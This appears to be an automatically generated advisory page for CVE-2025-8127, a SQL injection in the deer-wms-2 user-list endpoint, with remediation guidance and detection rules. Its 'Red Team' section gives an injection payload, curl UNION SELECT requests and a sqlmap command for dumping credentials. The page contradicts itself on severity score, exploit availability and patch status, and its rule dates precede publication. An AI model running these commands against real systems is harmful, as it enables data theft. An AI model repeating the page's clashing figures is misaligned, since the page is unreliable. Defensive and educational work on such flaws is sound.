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CVSS: 5.3 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8127

CVE-2025-8127 SQL Injection in Deerwms
📅 PUBLISHED: 2025-07-25 03:02 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8127 is a critical SQL injection vulnerability discovered in the Deerwms deer-wms-2 application, affecting versions up to 3.3. The flaw resides in the /system/user/list endpoint, where the params[dataScope] argument is improperly sanitized, allowing an authenticated remote attacker to inject arbitrary SQL commands. With a CVSS score of 6.3, this vulnerability poses a significant risk to data confidentiality and integrity. Public exploit code has been released, increasing the urgency for patching. This report provides a comprehensive technical analysis, detection methods, and remediation steps.

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Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Deerwms deer-wms-2 software. Organizations using this software should verify their supply chain for any dependencies that may be affected.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – Authentication is required to access the vulnerable endpoint.
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H) – Successful exploitation can lead to full database disclosure.
  • Integrity Impact: Low (I:L) – Limited ability to modify data.
  • Availability Impact: Low (A:L) – Potential for denial of service through resource exhaustion.

Threat Level: High. The availability of public exploit code and the low complexity of the attack make this a high-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection flaw in the /system/user/list endpoint of the deer-wms-2 application. The params[dataScope] parameter is directly concatenated into SQL queries without proper sanitization or parameterization. An attacker with valid credentials can manipulate this parameter to inject malicious SQL code.

Technical Details:

  • Vulnerable Endpoint: /system/user/list
  • Vulnerable Parameter: params[dataScope]
  • Attack Vector: HTTP POST request with crafted JSON payload.
  • Impact: An attacker can extract sensitive data (e.g., user credentials, business data), modify database records, or potentially execute administrative operations on the database server.

Example Attack Payload:

{
  "params": {
    "dataScope": "1' OR '1'='1"
  }
}

This payload would modify the SQL query to return all users, bypassing intended data scoping restrictions.

Vulnerable vs. Patched Code

Vulnerable Code (deer-wms-2 <= 3.3):

// Vulnerable: Direct concatenation of user input
String sql = "SELECT * FROM users WHERE scope = '" + params.get("dataScope") + "'";

Patched Code (deer-wms-2 > 3.3):

// Patched: Use of parameterized queries
String sql = "SELECT * FROM users WHERE scope = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, params.get("dataScope"));
ResultSet rs = pstmt.executeQuery();

The patch replaces string concatenation with a PreparedStatement, which automatically escapes user input and prevents SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid user credentials for the deer-wms-2 application.
  • Network access to the vulnerable endpoint.

Exploitation Steps:

  1. Identify the vulnerable endpoint:

    curl -X POST http://target.com/system/user/list \
      -H "Content-Type: application/json" \
      -d '{"params":{"dataScope":"test"}}'
    
  2. Craft a malicious payload to extract data:

    curl -X POST http://target.com/system/user/list \
      -H "Content-Type: application/json" \
      -d '{"params":{"dataScope":"1' UNION SELECT username,password FROM users--"}}'
    
  3. Automated exploitation using sqlmap:

    sqlmap -u "http://target.com/system/user/list" \
      --data='{"params":{"dataScope":"test"}}' \
      --method=POST \
      --headers="Content-Type: application/json" \
      --level=5 \
      --risk=3 \
      --dbms=mysql \
      --batch
    

Expected Outcome: Successful extraction of database contents, including user credentials and business data.

Blue Team

Detection and Response:

  1. Monitor for anomalous SQL queries: Look for unexpected UNION, OR, or -- statements in database logs.
  2. Alert on suspicious POST requests: Flag requests to /system/user/list with unusual dataScope values.
  3. Implement Web Application Firewall (WAF) rules: Block requests containing SQL injection patterns.
  4. Review access logs: Identify accounts that may have been compromised.

Honeypot Setup: Deploy a honeypot mimicking the vulnerable endpoint to capture attacker behavior.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /system/user/list with dataScope parameter containing SQL keywords (UNION, SELECT, OR, --, ').
    • Unusual database query patterns in logs (e.g., multiple UNION SELECT statements).
  • File IOCs:
    • Modified application logs showing SQL errors.
    • Unexpected database dumps or exports.
  • System IOCs:
    • Unauthorized database connections from the application server.
    • Increased CPU/memory usage on the database server.

Detection Engineering

YARA Rule

rule CVE_2025_8127_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-8127"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8127"
    strings:
        $s1 = "dataScope" ascii wide nocase
        $s2 = "UNION" ascii wide nocase
        $s3 = "SELECT" ascii wide nocase
        $s4 = "OR" ascii wide nocase
        $s5 = "'" ascii wide
    condition:
        all of ($s1, $s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-8127 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against the /system/user/list endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/system/user/list'
        cs-uri-query|contains: 'dataScope'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR'
        - "'"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in dataScope parameter
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-8127 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/system/user/list";
    http_uri;
    content:"dataScope";
    http_client_body;
    pcre:"/(UNION|SELECT|OR|'|\-\-)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-8127;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Patch the application: Upgrade deer-wms-2 to the latest patched version (> 3.3).
  2. Apply virtual patching: Use a WAF to block SQL injection patterns on the /system/user/list endpoint.
  3. Review database logs: Check for any signs of exploitation.

Long-term Mitigations:

  1. Implement parameterized queries: Ensure all database interactions use prepared statements.
  2. Conduct code reviews: Regularly audit code for SQL injection vulnerabilities.
  3. Enforce least privilege: Restrict database user permissions to minimize impact.
  4. Enable logging and monitoring: Implement robust logging for all database queries.

Workaround (if patching is not immediately possible):

  • Disable the /system/user/list endpoint or restrict access to trusted IP addresses.
  • Manually sanitize the dataScope parameter using an allowlist of expected values.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8127/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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